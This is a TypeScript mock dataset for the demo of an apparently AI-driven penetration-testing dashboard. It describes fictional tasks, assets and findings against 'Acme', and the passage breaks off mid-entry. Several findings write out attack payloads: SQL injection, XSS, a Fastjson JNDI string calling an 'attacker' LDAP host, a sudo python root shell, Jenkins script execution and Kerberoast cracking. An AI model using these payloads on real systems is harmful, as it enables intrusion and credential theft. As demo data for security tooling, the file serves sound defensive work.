dela
97668dab7e
ci / go (push) Waiting to run
ci / go-db (agent) (push) Waiting to run
ci / go-db (config) (push) Waiting to run
ci / go-db (db) (push) Waiting to run
ci / go-db (evidence) (push) Waiting to run
ci / go-db (llmrec) (push) Waiting to run
ci / go-db (server) (push) Waiting to run
detections / detections (push) Waiting to run
docs / links (push) Waiting to run
web / web (push) Waiting to run
4310 lines
134 KiB
TypeScript
4310 lines
134 KiB
TypeScript
// Rich mock dataset for the Vercel demo (NEXT_PUBLIC_MOCK=1). Shapes track the
|
||
// current backend contract in lib/api.ts + lib/types.ts. All data is static and
|
||
// self-consistent (one company "Acme", a few tasks, findings, exploration graph,
|
||
// sessions/activity, traffic, agents, etc.) so every page looks populated.
|
||
|
||
import type {
|
||
Activity,
|
||
Agent,
|
||
AgentDetail,
|
||
Asset,
|
||
Audit,
|
||
Company,
|
||
Conversation,
|
||
ConvTokenSummary,
|
||
DailyTokenBucket,
|
||
Edge,
|
||
Finding,
|
||
FindingAsset,
|
||
InterceptApprovalRow,
|
||
InterceptAudit,
|
||
InterceptPending,
|
||
InterceptRule,
|
||
LLMPoolStatus,
|
||
LLMProfile,
|
||
LLMTask,
|
||
MCPServer,
|
||
MCPTool,
|
||
MissingSkill,
|
||
PromptVar,
|
||
PromptVersion,
|
||
SessionTokenUsage,
|
||
Settings,
|
||
SkillCall,
|
||
SkillItem,
|
||
Stats,
|
||
Task,
|
||
TaskCategory,
|
||
TaskNode,
|
||
TaskTemplate,
|
||
TokenTotal,
|
||
TokenUsage,
|
||
Tool,
|
||
TrafficDetail,
|
||
TrafficHost,
|
||
TrafficResp,
|
||
} from "@/lib/types";
|
||
|
||
const T = (iso: string) => iso; // readability helper for timestamps
|
||
|
||
// ── Tasks ──────────────────────────────────────────────────────────────────
|
||
export const ACTIVE_TASK = "t-acme-web";
|
||
|
||
export const tasks: Task[] = [
|
||
{
|
||
id: "t-acme-web",
|
||
category_id: 1,
|
||
category_name: "外部评估",
|
||
description: "Acme 官网·管理员后台外部渗透 (acme.com)",
|
||
goal: "获取 acme.com 后台管理员权限，并确认能否读取用户敏感数据。",
|
||
status: "running",
|
||
created_at: T("2026-07-24T09:12:00Z"),
|
||
created_unix: 1785489120,
|
||
last_activity: T("2026-07-26T03:58:22Z"),
|
||
last_activity_unix: 1785643102,
|
||
paused: false,
|
||
active: true,
|
||
in_flight: 3,
|
||
findings: { critical: 1, high: 2, medium: 1, low: 0 },
|
||
stalled: false,
|
||
goals_total: 5,
|
||
goals_met: 2,
|
||
engine_mode: "exploring",
|
||
llm_profile_id: 1,
|
||
llm_profile_ids: [1, 2],
|
||
active_llm_profile_id: 1,
|
||
llm_failover_state: "ready",
|
||
source_task_ids: [],
|
||
tokens: { input_tokens: 1284500, output_tokens: 96320, cache_read_tokens: 890400, cache_write_tokens: 132000 },
|
||
},
|
||
{
|
||
id: "t-acme-api",
|
||
category_id: 2,
|
||
category_name: "API 专项",
|
||
description: "api.acme.com 权限绕过·注入测试",
|
||
goal: "评估 api.acme.com 订单/用户端点的权限绕过(IDOR)·注入风险。",
|
||
status: "running",
|
||
created_at: T("2026-07-25T14:05:00Z"),
|
||
created_unix: 1785592500,
|
||
last_activity: T("2026-07-26T03:40:10Z"),
|
||
last_activity_unix: 1785642010,
|
||
paused: false,
|
||
active: false,
|
||
in_flight: 2,
|
||
findings: { critical: 0, high: 1, medium: 1, low: 0 },
|
||
stalled: false,
|
||
goals_total: 4,
|
||
goals_met: 1,
|
||
engine_mode: "exploring",
|
||
llm_profile_id: 1,
|
||
llm_profile_ids: [1, 2],
|
||
active_llm_profile_id: 1,
|
||
llm_failover_state: "ready",
|
||
source_task_ids: ["t-acme-web"],
|
||
tokens: { input_tokens: 642300, output_tokens: 51200, cache_read_tokens: 401000, cache_write_tokens: 60000 },
|
||
},
|
||
{
|
||
id: "t-shop-pay",
|
||
category_id: 2,
|
||
category_name: "API 专项",
|
||
description: "shop.acme.com 支付·订单路径",
|
||
goal: "评估支付·订单端点的权限绕过、金额篡改、竞争条件风险。",
|
||
status: "paused",
|
||
created_at: T("2026-07-22T08:30:00Z"),
|
||
created_unix: 1785313800,
|
||
last_activity: T("2026-07-23T18:40:10Z"),
|
||
last_activity_unix: 1785436810,
|
||
paused: true,
|
||
active: false,
|
||
in_flight: 0,
|
||
stalled: false,
|
||
goals_total: 4,
|
||
goals_met: 1,
|
||
engine_mode: "paused",
|
||
llm_profile_id: 2,
|
||
llm_profile_ids: [2, 1],
|
||
active_llm_profile_id: 2,
|
||
llm_failover_state: "ready",
|
||
source_task_ids: ["t-acme-web", "t-acme-api"],
|
||
tokens: { input_tokens: 233000, output_tokens: 18700, cache_read_tokens: 120000, cache_write_tokens: 22000 },
|
||
},
|
||
{
|
||
id: "t-vpn-edge",
|
||
category_id: 1,
|
||
category_name: "外部评估",
|
||
description: "外部暴露面侦察 (VPN / 边界服务)",
|
||
goal: "识别 acme.com 对外暴露、可被利用的边界服务。",
|
||
status: "done",
|
||
created_at: T("2026-07-18T08:00:00Z"),
|
||
created_unix: 1784966400,
|
||
completed_at: T("2026-07-20T22:11:00Z"),
|
||
completed_unix: 1785190260,
|
||
last_activity: T("2026-07-20T22:11:00Z"),
|
||
last_activity_unix: 1785190260,
|
||
paused: false,
|
||
active: false,
|
||
in_flight: 0,
|
||
stalled: false,
|
||
goals_total: 3,
|
||
goals_met: 3,
|
||
engine_mode: "idle",
|
||
llm_profile_id: 1,
|
||
llm_profile_ids: [1],
|
||
active_llm_profile_id: 1,
|
||
llm_failover_state: "ready",
|
||
source_task_ids: [],
|
||
tokens: { input_tokens: 512000, output_tokens: 40100, cache_read_tokens: 300000, cache_write_tokens: 41000 },
|
||
},
|
||
];
|
||
|
||
export const taskCategories: TaskCategory[] = [
|
||
{
|
||
id: 1,
|
||
name: "外部评估",
|
||
task_count: 2,
|
||
created_at: T("2026-07-18T08:00:00Z"),
|
||
updated_at: T("2026-07-25T08:00:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
name: "API 专项",
|
||
task_count: 2,
|
||
created_at: T("2026-07-19T08:00:00Z"),
|
||
updated_at: T("2026-07-24T08:00:00Z"),
|
||
},
|
||
];
|
||
|
||
export const taskTemplates: TaskTemplate[] = [
|
||
{
|
||
id: 1,
|
||
name: "外部 Web 渗透",
|
||
description:
|
||
"对目标的互联网暴露面执行黑盒渗透测试，覆盖站点·端点·常见管理员入口。",
|
||
goal: "识别并验证可能导致未授权访问、敏感数据泄露、服务器失陷的安全问题。",
|
||
created_at: T("2026-07-20T08:00:00Z"),
|
||
updated_at: T("2026-07-25T08:00:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
name: "API 权限绕过专项",
|
||
description: "围绕目标 API 的身份认证、对象级授权、角色边界执行专项测试。",
|
||
goal: "确认是否存在 IDOR、水平权限绕过、垂直权限绕过、批量数据访问风险。",
|
||
created_at: T("2026-07-19T08:00:00Z"),
|
||
updated_at: T("2026-07-24T08:00:00Z"),
|
||
},
|
||
];
|
||
|
||
export const getTask = (id: string) => tasks.find((t) => t.id === id);
|
||
|
||
const grandTotal: TokenTotal = tasks.reduce(
|
||
(a, t) => ({
|
||
input_tokens: a.input_tokens + (t.tokens?.input_tokens ?? 0),
|
||
output_tokens: a.output_tokens + (t.tokens?.output_tokens ?? 0),
|
||
cache_read_tokens: a.cache_read_tokens + (t.tokens?.cache_read_tokens ?? 0),
|
||
cache_write_tokens: a.cache_write_tokens + (t.tokens?.cache_write_tokens ?? 0),
|
||
}),
|
||
{ input_tokens: 0, output_tokens: 0, cache_read_tokens: 0, cache_write_tokens: 0 },
|
||
);
|
||
|
||
// ── Stats ──────────────────────────────────────────────────────────────────
|
||
export function stats(
|
||
taskId?: string,
|
||
state: { tasks?: readonly Task[]; findings?: readonly Finding[]; activeTask?: string } = {},
|
||
): Stats & { active_task?: unknown } {
|
||
const taskList = state.tasks ?? tasks;
|
||
const findingList = state.findings ?? findings;
|
||
const base: Stats = {
|
||
assets: assets.length,
|
||
engine_mode: "exploring",
|
||
llm_configured: true,
|
||
roe_enabled: true,
|
||
findings_confirmed: findingList.filter((f) => f.severity !== "low").length,
|
||
};
|
||
const selectedTaskID = taskId ?? state.activeTask ?? ACTIVE_TASK;
|
||
const t = taskList.find((item) => item.id === selectedTaskID);
|
||
if (!t) return base;
|
||
return {
|
||
...base,
|
||
engine_mode: t.engine_mode ?? "idle",
|
||
findings_confirmed: findingList.filter((f) => f.task_id === t.id).length,
|
||
active_task: {
|
||
id: t.id,
|
||
in_flight: t.in_flight,
|
||
goals_total: t.goals_total,
|
||
goals_met: t.goals_met,
|
||
engine_mode: t.engine_mode,
|
||
paused: t.paused,
|
||
},
|
||
};
|
||
}
|
||
|
||
// ── Company + Assets (new unified model) ─────────────────────────────────────
|
||
export const companies: Company[] = [
|
||
{
|
||
id: 1,
|
||
name: "Acme Corp",
|
||
logo: "",
|
||
asset_count: 18,
|
||
scope: [
|
||
{ id: 1, company_id: 1, kind: "domain", domain: "acme.com", raw: "acme.com", reason: "主域名" },
|
||
{ id: 2, company_id: 1, kind: "cidr", net: "203.0.113.0/24", raw: "203.0.113.0/24" },
|
||
{ id: 3, company_id: 1, kind: "ip", net: "198.51.100.20", raw: "198.51.100.20" },
|
||
],
|
||
},
|
||
];
|
||
|
||
export const assets: Asset[] = [
|
||
{
|
||
id: 1,
|
||
type: "root_domain",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
domain: "acme.com",
|
||
root_domain: "acme.com",
|
||
icp: "ICP-2021-XXXX",
|
||
record_type: "A",
|
||
record_value: ["203.0.113.10"],
|
||
last_seen: T("2026-07-26T02:00:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
type: "subdomain",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
domain: "www.acme.com",
|
||
root_domain: "acme.com",
|
||
record_type: "CNAME",
|
||
record_value: "acme.com",
|
||
last_seen: T("2026-07-26T02:01:00Z"),
|
||
},
|
||
{
|
||
id: 3,
|
||
type: "subdomain",
|
||
company_id: 1,
|
||
task_ids: [2],
|
||
domain: "api.acme.com",
|
||
root_domain: "acme.com",
|
||
record_type: "A",
|
||
record_value: ["203.0.113.11"],
|
||
last_seen: T("2026-07-26T02:02:00Z"),
|
||
},
|
||
{
|
||
id: 4,
|
||
type: "subdomain",
|
||
company_id: 1,
|
||
task_ids: [3],
|
||
domain: "shop.acme.com",
|
||
root_domain: "acme.com",
|
||
record_type: "A",
|
||
record_value: ["203.0.113.12"],
|
||
last_seen: T("2026-07-26T02:03:00Z"),
|
||
},
|
||
{
|
||
id: 5,
|
||
type: "subdomain",
|
||
company_id: 1,
|
||
task_ids: [4],
|
||
domain: "vpn.acme.com",
|
||
root_domain: "acme.com",
|
||
record_type: "A",
|
||
record_value: ["198.51.100.20"],
|
||
last_seen: T("2026-07-20T02:00:00Z"),
|
||
},
|
||
{
|
||
id: 6,
|
||
type: "subdomain",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
domain: "admin.acme.com",
|
||
root_domain: "acme.com",
|
||
record_type: "A",
|
||
record_value: ["203.0.113.10"],
|
||
last_seen: T("2026-07-26T02:04:00Z"),
|
||
},
|
||
{
|
||
id: 7,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [1, 2],
|
||
ip: "203.0.113.10",
|
||
c_segment: "203.0.113.0",
|
||
open_ports: [
|
||
{ port: 80, service: "http" },
|
||
{ port: 443, service: "https" },
|
||
{ port: 22, service: "ssh" },
|
||
],
|
||
last_seen: T("2026-07-26T02:05:00Z"),
|
||
},
|
||
{
|
||
id: 8,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [2],
|
||
ip: "203.0.113.11",
|
||
c_segment: "203.0.113.0",
|
||
open_ports: [{ port: 443, service: "https" }],
|
||
last_seen: T("2026-07-26T02:06:00Z"),
|
||
},
|
||
{
|
||
id: 9,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [4],
|
||
ip: "198.51.100.20",
|
||
c_segment: "198.51.100.0",
|
||
open_ports: [
|
||
{ port: 443, service: "https" },
|
||
{ port: 500, service: " isakmp" },
|
||
],
|
||
last_seen: T("2026-07-20T02:00:00Z"),
|
||
},
|
||
{
|
||
id: 10,
|
||
type: "service",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "203.0.113.10",
|
||
port: 443,
|
||
service_type: "https",
|
||
service_name: "nginx/1.24.0",
|
||
last_seen: T("2026-07-26T02:07:00Z"),
|
||
},
|
||
{
|
||
id: 11,
|
||
type: "service",
|
||
company_id: 1,
|
||
task_ids: [4],
|
||
ip: "198.51.100.20",
|
||
port: 22,
|
||
service_type: "ssh",
|
||
service_name: "OpenSSH 8.9p1",
|
||
last_seen: T("2026-07-20T02:00:00Z"),
|
||
},
|
||
{
|
||
id: 12,
|
||
type: "app",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "https://www.acme.com",
|
||
app_name: "Acme 官网",
|
||
category: "corp",
|
||
status_code: 200,
|
||
content_length: 48213,
|
||
page_title: "Acme Corp - 企业站点",
|
||
technologies: ["Nginx", "React", "Cloudflare"],
|
||
favicon_mmh3: "-1580860059",
|
||
last_seen: T("2026-07-26T02:08:00Z"),
|
||
},
|
||
{
|
||
id: 13,
|
||
type: "app",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "https://admin.acme.com",
|
||
app_name: "管理员后台",
|
||
category: "admin",
|
||
status_code: 200,
|
||
content_length: 12044,
|
||
page_title: "Acme Admin 登录",
|
||
technologies: ["Nginx", "Vue", "Element-UI"],
|
||
last_seen: T("2026-07-26T02:09:00Z"),
|
||
},
|
||
{
|
||
id: 14,
|
||
type: "app",
|
||
company_id: 1,
|
||
task_ids: [2],
|
||
url: "https://api.acme.com",
|
||
app_name: "REST API",
|
||
category: "api",
|
||
status_code: 401,
|
||
content_length: 45,
|
||
page_title: "",
|
||
technologies: ["Kong", "Node.js"],
|
||
last_seen: T("2026-07-26T02:10:00Z"),
|
||
},
|
||
{
|
||
id: 15,
|
||
type: "endpoint",
|
||
company_id: 1,
|
||
task_ids: [2],
|
||
url: "https://api.acme.com/v1/orders",
|
||
method: "GET",
|
||
status_code: 200,
|
||
params: [
|
||
{ name: "id", in: "query" },
|
||
{ name: "page", in: "query" },
|
||
],
|
||
last_seen: T("2026-07-26T02:11:00Z"),
|
||
},
|
||
{
|
||
id: 16,
|
||
type: "endpoint",
|
||
company_id: 1,
|
||
task_ids: [2],
|
||
url: "https://api.acme.com/v1/users/me",
|
||
method: "GET",
|
||
status_code: 200,
|
||
last_seen: T("2026-07-26T02:12:00Z"),
|
||
},
|
||
{
|
||
id: 17,
|
||
type: "endpoint",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "https://admin.acme.com/login",
|
||
method: "POST",
|
||
status_code: 200,
|
||
params: [{ name: "username" }, { name: "password" }],
|
||
last_seen: T("2026-07-26T02:13:00Z"),
|
||
},
|
||
{
|
||
id: 18,
|
||
type: "endpoint",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "https://www.acme.com/search",
|
||
method: "GET",
|
||
status_code: 200,
|
||
params: [{ name: "q", in: "query" }],
|
||
last_seen: T("2026-07-26T02:14:00Z"),
|
||
},
|
||
// 内网资产（DMZ→内网横向发现）
|
||
{
|
||
id: 19,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.0.20.15",
|
||
c_segment: "10.0.20.0",
|
||
open_ports: [
|
||
{ port: 80, service: "http" },
|
||
{ port: 22, service: "ssh" },
|
||
],
|
||
last_seen: T("2026-07-25T15:40:00Z"),
|
||
},
|
||
{
|
||
id: 20,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.10.10.10",
|
||
c_segment: "10.10.10.0",
|
||
open_ports: [
|
||
{ port: 88, service: "kerberos" },
|
||
{ port: 389, service: "ldap" },
|
||
{ port: 445, service: "smb" },
|
||
],
|
||
last_seen: T("2026-07-25T21:00:00Z"),
|
||
},
|
||
{
|
||
id: 21,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.10.10.5",
|
||
c_segment: "10.10.10.0",
|
||
open_ports: [{ port: 445, service: "smb" }],
|
||
last_seen: T("2026-07-25T21:00:00Z"),
|
||
},
|
||
{
|
||
id: 22,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.10.10.20",
|
||
c_segment: "10.10.10.0",
|
||
open_ports: [{ port: 8080, service: "http-proxy" }],
|
||
last_seen: T("2026-07-25T21:00:00Z"),
|
||
},
|
||
{
|
||
id: 23,
|
||
type: "service",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.10.10.20",
|
||
port: 8080,
|
||
service_type: "http",
|
||
service_name: "Jenkins 2.289",
|
||
last_seen: T("2026-07-25T21:35:00Z"),
|
||
},
|
||
{
|
||
id: 24,
|
||
type: "service",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.10.10.10",
|
||
port: 445,
|
||
service_type: "smb",
|
||
service_name: "Windows Server 2019 DC",
|
||
last_seen: T("2026-07-25T23:55:00Z"),
|
||
},
|
||
{
|
||
id: 25,
|
||
type: "app",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "http://10.10.10.20:8080",
|
||
app_name: "Jenkins (内网)",
|
||
category: "ci",
|
||
status_code: 200,
|
||
content_length: 14200,
|
||
page_title: "Jenkins Dashboard",
|
||
technologies: ["Jenkins", "Java"],
|
||
last_seen: T("2026-07-25T21:35:00Z"),
|
||
},
|
||
{
|
||
id: 26,
|
||
type: "endpoint",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "http://10.10.10.20:8080/script",
|
||
method: "GET",
|
||
status_code: 200,
|
||
last_seen: T("2026-07-25T21:35:00Z"),
|
||
},
|
||
];
|
||
|
||
export const assetCounts: Record<string, number> = assets.reduce<Record<string, number>>((m, a) => {
|
||
m[a.type] = (m[a.type] ?? 0) + 1;
|
||
return m;
|
||
}, {});
|
||
|
||
// assetRef 把资产 id 变成 finding 上挂的资产引用(label 与后端 coverageNodeLabel
|
||
// 的取值顺序一致:URL > 域名 > IP > 应用名)。「按资产」视图的树就是靠这些引用
|
||
// 把发现挂到资产上的。
|
||
function assetRef(id: number): FindingAsset {
|
||
const asset = assets.find((candidate) => candidate.id === id);
|
||
if (!asset) throw new Error(`mock assetRef: unknown asset ${id}`);
|
||
return {
|
||
id: String(id),
|
||
type: asset.type,
|
||
label: asset.url || asset.domain || asset.ip || asset.app_name || String(id),
|
||
};
|
||
}
|
||
|
||
// ── Findings ─────────────────────────────────────────────────────────────────
|
||
export const findings: Finding[] = [
|
||
{
|
||
id: "f-1",
|
||
assets: [assetRef(18)],
|
||
vulnclass: "SQL Injection",
|
||
name: "官网搜索端点的报错型 SQL 注入",
|
||
severity: "high",
|
||
status: "pending",
|
||
report:
|
||
'## 漏洞概述\n\n`www.acme.com/search` 的 `q` 参数存在**报错型 SQL 注入**(MSSQL)，可读取数据库版本、结构乃至敏感数据。\n\n## 影响\n\n- 可读取 `acme_prod` 数据库的表结构以及用户/订单数据\n- 错误信息直接暴露，可快速构造利用，风险较高\n\n## 复现步骤\n\n1. 触发报错型注入：\n\n```\nGET /search?q=1\' AND 1=CONVERT(int,@@version)--\n```\n\n2. 响应中暴露 MSSQL 版本错误，确认注入可行\n3. 进一步枚举数据库：`sqlmap -u "https://www.acme.com/search?q=1" --dbs`\n\n## 处置建议\n\n- 将所有查询改为参数化查询/预编译语句，消除字符串拼接\n- 关闭生产环境的详细错误输出\n- 最小化数据库账号权限，并禁用 `xp_cmdshell` 等危险扩展\n',
|
||
summary: "www.acme.com/search 的 q 参数存在报错型 SQL 注入",
|
||
evidence:
|
||
"GET /search?q=1' AND 1=CONVERT(int,@@version)-- → 返回 MSSQL 版本错误信息，可读取数据库结构。",
|
||
intent_id: "i-2",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 官网·管理员后台外部渗透",
|
||
ts: T("2026-07-26T01:20:00Z"),
|
||
},
|
||
{
|
||
id: "f-2",
|
||
assets: [assetRef(15)],
|
||
vulnclass: "IDOR",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "api.acme.com/v1/orders?id= 可绕过权限查阅他人订单",
|
||
evidence: "将 id=1001 改为 id=1002 即返回他人订单（含收货地址·手机号），且无属主校验。",
|
||
intent_id: "i-5",
|
||
task_id: "t-acme-api",
|
||
task_description: "api.acme.com 权限绕过·注入测试",
|
||
ts: T("2026-07-26T02:44:00Z"),
|
||
},
|
||
{
|
||
id: "f-3",
|
||
assets: [assetRef(3)],
|
||
vulnclass: "Weak JWT",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "API JWT 使用弱密钥，可离线破解·伪造",
|
||
evidence: "HS256，密钥 'secret'，用 john 5 秒即破解 → 可伪造任意 sub 绕过权限。",
|
||
task_id: "t-acme-api",
|
||
task_description: "api.acme.com 权限绕过·注入测试",
|
||
ts: T("2026-07-26T03:02:00Z"),
|
||
},
|
||
{
|
||
id: "f-4",
|
||
assets: [assetRef(18)],
|
||
vulnclass: "Reflected XSS",
|
||
severity: "medium",
|
||
status: "pending",
|
||
summary: "搜索页未对 q 参数转义，导致反射型 XSS",
|
||
evidence: "q=<script>alert(document.domain)</script> 会原样出现在结果标题中。",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 官网·管理员后台外部渗透",
|
||
ts: T("2026-07-25T22:10:00Z"),
|
||
},
|
||
{
|
||
id: "f-5",
|
||
assets: [assetRef(2)],
|
||
vulnclass: "Exposed .git",
|
||
severity: "medium",
|
||
status: "pending",
|
||
summary: "www.acme.com 暴露 .git 目录，可还原源码",
|
||
evidence: "GET /.git/HEAD → 200；用 git-dumper 还原了后端源码及数据库连接串注释。",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 官网·管理员后台外部渗透",
|
||
ts: T("2026-07-25T20:30:00Z"),
|
||
},
|
||
{
|
||
id: "f-6",
|
||
assets: [assetRef(17)],
|
||
vulnclass: "Default Credentials",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "admin.acme.com 管理员后台使用默认口令 admin/admin123",
|
||
evidence: "登录成功并进入管理员后台，可管理用户与订单。",
|
||
intent_id: "i-3",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 官网·管理员后台外部渗透",
|
||
ts: T("2026-07-26T03:50:00Z"),
|
||
},
|
||
{
|
||
id: "f-7",
|
||
assets: [assetRef(17)],
|
||
vulnclass: "Open Redirect",
|
||
severity: "low",
|
||
status: "pending",
|
||
summary: "登录后可通过 next 参数重定向到任意地址",
|
||
evidence: "/login?next=https://evil.example 登录后会 302 跳转到外部站点。",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 官网·管理员后台外部渗透",
|
||
ts: T("2026-07-25T19:12:00Z"),
|
||
},
|
||
{
|
||
id: "f-8",
|
||
assets: [assetRef(17)],
|
||
vulnclass: "Missing Rate Limit",
|
||
severity: "medium",
|
||
status: "pending",
|
||
summary: "登录端点无限速，可进行暴力破解",
|
||
evidence: "每分钟发送 1,000 次也不会锁定，且没有验证码。",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 官网·管理员后台外部渗透",
|
||
ts: T("2026-07-25T18:40:00Z"),
|
||
},
|
||
{
|
||
id: "f-9",
|
||
assets: [assetRef(16)],
|
||
vulnclass: "Verbose Error",
|
||
severity: "low",
|
||
status: "pending",
|
||
summary: "API 在 500 错误中返回堆栈跟踪，泄露路径与框架版本",
|
||
evidence: "触发 500 错误会返回 Node.js 堆栈跟踪，泄露绝对路径与依赖版本。",
|
||
task_id: "t-acme-api",
|
||
task_description: "api.acme.com 权限绕过·注入测试",
|
||
ts: T("2026-07-25T23:05:00Z"),
|
||
},
|
||
{
|
||
id: "f-10",
|
||
assets: [assetRef(4)],
|
||
vulnclass: "Outdated Component",
|
||
severity: "medium",
|
||
status: "pending",
|
||
summary: "shop 使用存在已知 RCE 的旧版组件",
|
||
evidence: "通过指纹识别出组件 v2.3.1，对应 CVE-2024-xxxx 反序列化 RCE。",
|
||
task_id: "t-shop-pay",
|
||
task_description: "shop.acme.com 支付·订单路径",
|
||
ts: T("2026-07-23T15:00:00Z"),
|
||
},
|
||
// ── 外网→内网纵深链路上的高危发现（active task）──
|
||
{
|
||
id: "f-11",
|
||
vulnclass: "Hardcoded Credentials",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "泄露的源码中硬编码了数据库凭据 sa/Acme@2021",
|
||
evidence:
|
||
"用 git-dumper 还原 www.acme.com/.git 获得 config.php，内含明文数据库口令，后续确认可在内网复用。",
|
||
intent_id: "ig",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 官网·管理员后台外部渗透",
|
||
ts: T("2026-07-25T20:36:00Z"),
|
||
},
|
||
{
|
||
id: "f-12",
|
||
assets: [assetRef(4)],
|
||
vulnclass: "Deserialization RCE",
|
||
name: "shop 商城 Fastjson 反序列化远程命令执行",
|
||
severity: "critical",
|
||
status: "confirmed",
|
||
report:
|
||
'## 漏洞概述\n\n`shop.acme.com` 的 `/api/import` 端点使用 **Fastjson 1.2.24** 解析用户可控的 JSON，且未开启 `safeMode`，可通过 `@type` 指定任意类触发 **JNDI 注入 → 远程命令执行**。\n\n## 影响\n\n- 攻击者无需认证即可在 DMZ Web 服务器上执行任意命令(`www-data@dmz-web01`)\n- 若再结合提权，即可成为进入内网的跳板\n\n## 复现步骤\n\n1. 构造 JNDI payload：\n\n```json\n{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/Exploit","autoCommit":true}\n```\n\n2. `POST /api/import`, `Content-Type: application/json`\n3. 目标回调 dnslog 并反弹 shell\n\n## 处置建议\n\n- 将 Fastjson 升级到 **1.2.83+** 并开启 `safeMode`\n- 为 `/api/import` 增加认证与来源校验\n- 限制出站：禁止业务服务器主动通过 LDAP/RMI 向外连接\n',
|
||
summary: "shop.acme.com Fastjson 1.2.24 反序列化远程命令执行",
|
||
evidence:
|
||
"向 POST /api/import 发送 JNDI payload(@type:JdbcRowSetImpl) → dnslog 收到回调并反弹 shell(www-data@dmz-web01)。",
|
||
intent_id: "i7",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 官网·管理员后台外部渗透",
|
||
ts: T("2026-07-25T15:40:00Z"),
|
||
},
|
||
{
|
||
id: "f-13",
|
||
assets: [assetRef(19)],
|
||
vulnclass: "Privilege Escalation",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "DMZ 据点因 sudo NOPASSWD 配置错误可实现本地提权(root)",
|
||
evidence:
|
||
"sudo -l 显示 (ALL) NOPASSWD: /usr/bin/python3 → 用 sudo python3 -c 'os.setuid(0);os.system(\"/bin/sh\")' 即可直接获得 root。",
|
||
intent_id: "i8",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 官网·管理员后台外部渗透",
|
||
ts: T("2026-07-25T16:20:00Z"),
|
||
},
|
||
{
|
||
id: "f-14",
|
||
assets: [assetRef(19), assetRef(21)],
|
||
vulnclass: "Network Segmentation",
|
||
severity: "medium",
|
||
status: "pending",
|
||
summary: "DMZ 主机以双网卡直连内网，导致边界隔离失效",
|
||
evidence:
|
||
"dmz-web01 的第二块网卡位于 10.10.10.0/24，可从 DMZ 直接访问域控制器/文件服务器/Jenkins，绕过网络分段。",
|
||
intent_id: "i9",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 官网·管理员后台外部渗透",
|
||
ts: T("2026-07-25T21:00:00Z"),
|
||
},
|
||
{
|
||
id: "f-15",
|
||
assets: [assetRef(26)],
|
||
vulnclass: "Unauthenticated RCE",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "内网 Jenkins 未授权 Script Console 远程命令执行",
|
||
evidence:
|
||
"通过 GET /script 无需登录执行 Groovy：'whoami'.execute().text → SYSTEM；并从凭据库提取域账号 acme\\svc_deploy。",
|
||
intent_id: "i11",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 官网·管理员后台外部渗透",
|
||
ts: T("2026-07-25T21:50:00Z"),
|
||
},
|
||
{
|
||
id: "f-16",
|
||
assets: [assetRef(21)],
|
||
vulnclass: "Kerberoasting",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "域服务账号 svc_sql 可被 Kerberoast 且口令较弱",
|
||
evidence:
|
||
"用 GetUserSPNs 请求 svc_sql 的 TGS，再以 hashcat -m 13100 离线破解出 Sql@2020。该账号属于 SQL 管理组。",
|
||
intent_id: "i12",
|
||
task_id: "t-acme-web",
|
||
task_description: "Acme 官网·管理员后台外部渗透",
|
||
ts: T("2026-07-25T23:20:00Z"),
|
||
},
|
||
{
|
||
id: "f-17",
|
||
assets: [assetRef(20)],
|
||
vulnclass: "Domain Compromise",
|
||
name: "内网域控制器 DC01 被完全控制(Domain Admin)",
|
||
severity: "critical",
|
||
status: "confirmed",
|
||
report:
|
||
